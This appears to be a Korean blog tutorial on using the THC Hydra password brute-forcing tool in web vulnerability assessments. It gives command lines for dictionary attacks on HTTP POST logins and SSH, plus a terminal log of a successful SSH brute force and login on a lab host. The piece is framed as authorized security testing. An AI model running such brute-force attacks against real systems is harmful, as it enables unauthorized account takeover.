홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹취약점 분석도구 #THC Hydra #hydra #무작위대입공격 #brute-force attack #취약한 계정 점검 #취약한 비밀번호 #서버해킹 #네트워크 해킹

웹취약점점검 도구로서의 THC Hydra 사용법

sectools.org 로고

THC Hydra는 "The Hacker's Choice"(THC)라는 단체에서 개발하여 배포하는 명령행 기반의 모의침투(pentest) 도구이다. SSH, TELENT, HTTP, HTTPS, FTP, LDAP, SMB, SNMP, POP3 등 다수의 통신규약에 대해 사전기반 비밀번호 공격도구이다. 웹취약점분석에서는 관리자나 사용자 계정을 취약하게 관리하는 지의 여부를 점검할 수 있다.

칼리리눅스(Kali Linux) 운영체제에서는 다음과 같이 간단하게 설치할 수 있다.

apt-get install hydra

웹 취약점 분석에서 가장 많이 사용되는 용례는 다음과 같다. (흔하게 사용되는 ID 목록(weakuser.txt)흔하게 사용되는 비밀번호 목록(weakpass.txt)을 저장하고 필요에 따라 수정하여 사용하면 된다.)

HTTP POST 방식의 로그인 공격

hydra 192.168.189.221 http-form-post "/admin/login.jsp:user=^USER^&pass=^PASS^:Wrong ID/PASSWORD" -L weakuser.txt -P weakpass.txt

[ "http-form-post"로 취약한 관리자 계정 존재여부 확인 ]

HTTPS인 경우에는 http-form-post 대신 https-form-post를 사용하면 된다.

SSH에 대한 무작위대입 공격

hydra -L weakuser.txt -P weakpass.txt 192.168.189.221 ssh

[ "ssh" 공격으로 취약한 서버계정 존재여부 확인 ]

웹서버에 ssh를 통해 접속이 가능한 경우에는 무작위대입공격(brute-force attack)을 수행하여 취약한 계정이 있는 지 검검할 수 있다 (실제 웹취약점 분석에서는 /etc/passwd 파일을 열람하여 확인하는 것이 빠르다).

root@kali:~# hydra 192.168.189.224 ssh -L weakuser.txt -P weakpass.txt 
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-11-07 19:09:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 11880 login tries (l:22/p:540), ~11 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 481.00 tries/min, 481 tries in 00:01h, 11399 todo in 00:24h, 16 active
[STATUS] 502.00 tries/min, 1506 tries in 00:03h, 10374 todo in 00:21h, 16 active
[22][ssh] host: 192.168.189.224   login: test   password: s3cret
[STATUS] 489.00 tries/min, 3423 tries in 00:07h, 8457 todo in 00:18h, 16 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
root@kali:~# ssh test@192.168.189.224
The authenticity of host '192.168.189.224 (192.168.189.224)' can't be established.
ECDSA key fingerprint is SHA256:lvHMq2Dr6RuZYIQhZkWr7LC7PPhIT4kU32hT8Z+jXbo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.189.224' (ECDSA) to the list of known hosts.
test@192.168.189.224's password: 
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-45-generic x86_64)

test@server:~$ 

[ 리눅스 서버의 SSH에 대한 무작위대입 공격 사례]

위의 ssh 무작위대입 공격 사례는 /etc/ssh/sshd_config 파일의 끝에 "MaxAuthTries 600"을 추가하고 sshd를 재시작한 후에 실행한 것이다. SSH 서버의 최대인증시도(Maximum Authentication Attempts) 기본 값이 6이기 때문에 실제 공격에서는 이보다 훨씬 많은 시간이 걸린다. 실제 침해사고에서 root 계정에 대한 무작위대입공격을 약 9400번의 시도 끝에 성공한 사례가 있었는 데 이때 걸린 시간은 약 37시간이었다.

THC Hydra는 표적 서버를 대상으로 온라인에서 무작위대입 공격을 수행하므로 네트워크+서버응답 만큼의 시간이 걸린다. 이 때문에 속도가 매우 느리다. 따라서 미리 계정(ID)을 파악할 수 있다면 좀 더 빠르게 공격을 수행할 수 있다. 또한 비밀번호 생성규칙을 알아낼 수 있다면 비밀번호의 범위를 좁힐 수 있으므로 시간단축에 도움이 된다.

웹취약점분석에서는 -- 관리자의 승인이 있을 경우에는 -- 서버의 /etc/passwd 파일을 미리 열람함으로써 취약한 계정에 대한 점검시간을 단축시킬 수 있다.

[처음 작성한 날: 2016.11.07]    [마지막으로 고친 날: 2016.11.11] 


< 이전 글 : SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (2016.11.07)

> 다음 글 : 웹취약점 분석 도구로서의 cURL (2016.11.07)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문